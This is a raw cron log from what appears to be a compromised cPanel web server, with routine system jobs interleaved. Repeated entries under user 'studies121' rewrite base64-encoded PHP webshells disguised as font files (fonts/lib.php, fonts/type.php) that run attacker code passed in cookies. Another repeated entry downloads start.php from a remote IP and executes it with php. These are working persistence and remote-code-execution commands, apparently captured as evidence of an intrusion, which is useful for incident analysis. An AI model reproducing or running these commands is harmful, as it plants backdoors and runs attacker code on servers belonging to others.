Sep 21 13:56:01 ip-184-168-122-23 CROND[17008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:57:01 ip-184-168-122-23 CROND[17128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:57:01 ip-184-168-122-23 CROND[17130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:57:01 ip-184-168-122-23 CROND[17131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:57:01 ip-184-168-122-23 CROND[17132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:58:01 ip-184-168-122-23 CROND[17300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:58:01 ip-184-168-122-23 CROND[17302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 13:58:01 ip-184-168-122-23 CROND[17305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:58:01 ip-184-168-122-23 CROND[17307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:58:01 ip-184-168-122-23 CROND[17304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 13:59:01 ip-184-168-122-23 CROND[17450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 13:59:01 ip-184-168-122-23 CROND[17453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 13:59:01 ip-184-168-122-23 CROND[17452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 13:59:01 ip-184-168-122-23 CROND[17454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:00:01 ip-184-168-122-23 CROND[17668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:00:01 ip-184-168-122-23 CROND[17671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:00:01 ip-184-168-122-23 CROND[17673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:00:01 ip-184-168-122-23 CROND[17675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:00:01 ip-184-168-122-23 CROND[17677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:00:01 ip-184-168-122-23 CROND[17672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:00:01 ip-184-168-122-23 CROND[17674]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 14:00:01 ip-184-168-122-23 CROND[17679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:00:01 ip-184-168-122-23 CROND[17681]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 14:01:01 ip-184-168-122-23 CROND[17829]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 14:01:01 ip-184-168-122-23 CROND[17830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:01:01 ip-184-168-122-23 CROND[17835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:01:01 ip-184-168-122-23 CROND[17836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:01:01 ip-184-168-122-23 CROND[17834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17829]: starting 0anacron
Sep 21 14:01:01 ip-184-168-122-23 CROND[17837]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 14:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17849]: finished 0anacron
Sep 21 14:02:01 ip-184-168-122-23 CROND[17989]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:02:01 ip-184-168-122-23 CROND[17992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:02:01 ip-184-168-122-23 CROND[17994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:02:01 ip-184-168-122-23 CROND[17993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:02:01 ip-184-168-122-23 CROND[17991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:03:01 ip-184-168-122-23 CROND[18105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:03:01 ip-184-168-122-23 CROND[18106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:03:01 ip-184-168-122-23 CROND[18108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:03:01 ip-184-168-122-23 CROND[18107]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:04:01 ip-184-168-122-23 CROND[18259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:04:01 ip-184-168-122-23 CROND[18260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:04:01 ip-184-168-122-23 CROND[18261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:04:01 ip-184-168-122-23 CROND[18262]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:04:01 ip-184-168-122-23 CROND[18264]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:05:01 ip-184-168-122-23 CROND[18445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:05:01 ip-184-168-122-23 CROND[18447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:05:01 ip-184-168-122-23 CROND[18448]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 14:05:01 ip-184-168-122-23 CROND[18450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:05:01 ip-184-168-122-23 CROND[18449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:05:01 ip-184-168-122-23 CROND[18453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:05:01 ip-184-168-122-23 CROND[18454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:06:01 ip-184-168-122-23 CROND[18567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:06:01 ip-184-168-122-23 CROND[18569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:06:01 ip-184-168-122-23 CROND[18570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:06:01 ip-184-168-122-23 CROND[18572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:06:01 ip-184-168-122-23 CROND[18573]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:07:01 ip-184-168-122-23 CROND[18751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:07:01 ip-184-168-122-23 CROND[18753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:07:01 ip-184-168-122-23 CROND[18754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:07:01 ip-184-168-122-23 CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:08:01 ip-184-168-122-23 CROND[18997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:08:01 ip-184-168-122-23 CROND[18999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:08:01 ip-184-168-122-23 CROND[19001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
